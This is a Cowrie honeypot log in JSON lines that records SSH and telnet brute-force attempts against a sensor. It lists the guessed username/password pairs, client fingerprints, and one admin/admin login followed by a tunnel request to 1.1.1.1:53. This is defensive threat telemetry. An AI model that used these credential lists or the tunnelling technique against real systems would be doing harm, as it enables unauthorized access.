{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:37.668289Z","src_ip":"80.94.92.186","session":"021982c3df90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse123","message":"login attempt [lighthouse/lighthouse123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:38.607888Z","src_ip":"80.94.92.186","session":"021982c3df90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:39.825304Z","src_ip":"80.94.92.186","session":"021982c3df90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":43450,"dst_ip":"159.203.135.109","dst_port":22,"session":"6808dd67621b","protocol":"ssh","message":"New connection: 140.106.25.230:43450 (159.203.135.109:22) [session: 6808dd67621b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:42.926949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:42.932335Z","src_ip":"140.106.25.230","session":"6808dd67621b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:42.965377Z","src_ip":"140.106.25.230","session":"6808dd67621b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"redhat5","message":"login attempt [ubuntu/redhat5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:43.126398Z","src_ip":"140.106.25.230","session":"6808dd67621b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:11:44.164194Z","src_ip":"140.106.25.230","session":"6808dd67621b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43724,"dst_ip":"159.203.135.109","dst_port":22,"session":"85713c3bbbc5","protocol":"ssh","message":"New connection: 159.203.92.129:43724 (159.203.135.109:22) [session: 85713c3bbbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:15.665669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:15.670812Z","src_ip":"159.203.92.129","session":"85713c3bbbc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:15.675972Z","src_ip":"159.203.92.129","session":"85713c3bbbc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a1","password":"a1123","message":"login attempt [a1/a1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:15.688575Z","src_ip":"159.203.92.129","session":"85713c3bbbc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00831890106201,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:16.338552Z","src_ip":"170.79.76.209","session":"4c305bf2b105","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:16.695928Z","src_ip":"159.203.92.129","session":"85713c3bbbc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00398993492126,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:17.076596Z","src_ip":"170.79.76.209","session":"8d584117b914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55822,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc0c46bb71cf","protocol":"telnet","message":"New connection: 170.79.76.209:55822 (10.17.0.5:23) [session: bc0c46bb71cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:17.462663Z"}
{"eventid":"cowrie.session.closed","duration":120.00150156021118,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:18.000275Z","src_ip":"170.79.76.209","session":"65117ce6b0ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00275182723999,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:26.445711Z","src_ip":"170.79.76.209","session":"36f30d33a0e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":34864,"dst_ip":"159.203.135.109","dst_port":22,"session":"355d4cce7736","protocol":"ssh","message":"New connection: 173.249.6.197:34864 (159.203.135.109:22) [session: 355d4cce7736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:29.815736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:29.821002Z","src_ip":"173.249.6.197","session":"355d4cce7736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55900,"dst_ip":"10.17.0.5","dst_port":23,"session":"155f4df02c90","protocol":"telnet","message":"New connection: 170.79.76.209:55900 (10.17.0.5:23) [session: 155f4df02c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:29.845262Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:29.914244Z","src_ip":"173.249.6.197","session":"355d4cce7736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp-user","password":"1234","message":"login attempt [wp-user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:30.321457Z","src_ip":"173.249.6.197","session":"355d4cce7736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:31.419036Z","src_ip":"173.249.6.197","session":"355d4cce7736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":60722,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d71eeb57411","protocol":"ssh","message":"New connection: 140.106.25.230:60722 (159.203.135.109:22) [session: 7d71eeb57411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:33.658355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:33.662971Z","src_ip":"140.106.25.230","session":"7d71eeb57411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:33.697648Z","src_ip":"140.106.25.230","session":"7d71eeb57411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@2021","message":"login attempt [user/user@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:33.849774Z","src_ip":"140.106.25.230","session":"7d71eeb57411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:34.882178Z","src_ip":"140.106.25.230","session":"7d71eeb57411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53652,"dst_ip":"159.203.135.109","dst_port":22,"session":"de1c9908c9b4","protocol":"ssh","message":"New connection: 159.203.92.129:53652 (159.203.135.109:22) [session: de1c9908c9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:57.327837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:57.333285Z","src_ip":"159.203.92.129","session":"de1c9908c9b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:57.337843Z","src_ip":"159.203.92.129","session":"de1c9908c9b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a207","password":"123","message":"login attempt [a207/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:57.350673Z","src_ip":"159.203.92.129","session":"de1c9908c9b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:12:58.357746Z","src_ip":"159.203.92.129","session":"de1c9908c9b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8790,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba07b98ff4dd","protocol":"ssh","message":"New connection: 87.251.64.176:8790 (10.17.0.5:22) [session: ba07b98ff4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:04.844495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:04.849525Z","src_ip":"87.251.64.176","session":"ba07b98ff4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:04.953480Z","src_ip":"87.251.64.176","session":"ba07b98ff4dd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:05.248402Z","src_ip":"87.251.64.176","session":"ba07b98ff4dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:05.348104Z","session":"ba07b98ff4dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:05.447102Z","src_ip":"87.251.64.176","session":"ba07b98ff4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:05.547165Z","src_ip":"87.251.64.176","session":"ba07b98ff4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":58764,"dst_ip":"10.17.0.5","dst_port":22,"session":"0606d246eddd","protocol":"ssh","message":"New connection: 152.32.238.146:58764 (10.17.0.5:22) [session: 0606d246eddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:11.119168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:11.123773Z","src_ip":"152.32.238.146","session":"0606d246eddd","protocol":"ssh"}
